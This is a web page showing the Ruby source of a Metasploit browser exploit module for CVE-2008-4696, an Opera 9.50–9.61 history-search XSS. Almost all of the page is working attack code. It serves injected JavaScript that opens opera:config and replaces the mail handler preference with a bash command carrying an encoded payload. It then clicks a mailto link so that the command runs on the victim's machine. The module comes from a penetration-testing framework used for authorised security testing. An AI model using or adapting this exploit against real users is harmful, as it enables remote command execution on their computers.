Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/opera_historysearch.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910#include Msf::Exploit::Remote::BrowserAutopwn11#autopwn_info({12# :ua_name => HttpClients::OPERA,13# :javascript => true,14# :rank => ExcellentRanking, # reliable command execution15# :vuln_test => %Q{16# v = parseFloat(opera.version());17# if (9.5 < v && 9.62 > v) {18# is_vuln = true;19# }20# },21#})2223def initialize(info = {})24super(update_info(info,25'Name' => 'Opera historysearch XSS',26'Description' => %q{27Certain constructs are not escaped correctly by Opera's History28Search results. These can be used to inject scripts into the29page, which can then be used to modify configuration settings30and execute arbitrary commands. Affects Opera versions between319.50 and 9.61.32},33'License' => BSD_LICENSE,34'Author' =>35[36'Roberto Suggi', # Discovered the vulnerability37'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec38'egypt', # msf module39],40'References' =>41[42['CVE', '2008-4696'],43['OSVDB', '49472'],44['BID', '31869'],45['URL', 'http://www.opera.com/support/kb/view/903/'],46],47'Payload' =>48{49'EXITFUNC' => 'process',50'Space' => 4000,51'DisableNops' => true,52'BadChars' => "\x09\x0a\x0d\x20",53'Compat' =>54{55'PayloadType' => 'cmd',56'RequiredCmd' => 'generic perl ruby telnet',57}58},59'Platform' => %w{ unix },60'Targets' =>61[62#[ 'Automatic', { } ],63#[ 'Opera < 9.61 Windows',64# {65# 'Platform' => 'win',66# 'Arch' => ARCH_X86,67# }68#],69[ 'Opera < 9.61 Unix Cmd',70{71'Platform' => 'unix',72'Arch' => ARCH_CMD,73}74],75],76'DisclosureDate' => '2008-10-23', # Date of full-disclosure post showing code exec77'DefaultTarget' => 078))79end8081def on_request_uri(cli, request)8283headers = {}84html_hdr = %Q^85<html>86<head>87<title>Loading</title>88^89html_ftr = %Q^90</head>91<body >92<h1>Loading</h1>93</body></html>94^9596case request.uri97when /[?]jspayload/98p = regenerate_payload(cli)99if (p.nil?)100send_not_found(cli)101return102end103# We're going to run this through unescape(), so make sure104# everything is encoded105penc = Rex::Text.to_hex(p.encoded, "%")106content =107%Q{108var s = document.createElement("iframe");109110s.src="opera:config";111s.id="config_window";112document.body.appendChild(s);113config_window.eval(114"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +115"old_app = opera.getPreference('Mail','External Application');" +116"old_handler = opera.getPreference('Mail','Handler');" +117"opera.setPreference('Mail','External Application',cmd);" +118"opera.setPreference('Mail','Handler','2');" +119"app_link = document.createElement('a');" +120"app_link.setAttribute('href', 'mailto:[email protected]');" +121"app_link.click();" +122"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +123"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +124"");125setTimeout(function () {window.location='about:blank'},1);126}127128when /[?]history/129js = %Q^130window.onload = function() {131location.href = "opera:historysearch?q=*";132}133^134content = %Q^135#{html_hdr}136<script><!--137#{js}138//--></script>139#{html_ftr}140^141when get_resource()142print_status("Sending #{self.name} for request #{request.uri}")143144js = %Q^145if (window.opera) {146var wnd = window;147while (wnd.parent != wnd) {148wnd = wnd.parent;149}150url = location.href;151wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";152}153^154content = %Q^155#{html_hdr}156<script><!--157#{js}158//--></script>159#{html_ftr}160^161else162print_status("Sending 404 for request #{request.uri}")163send_not_found(cli)164return165end166content.gsub!(/^ {8}/, '')167content.gsub!(/\t/, ' ')168169send_response_html(cli, content, headers)170handler(cli)171end172end173174175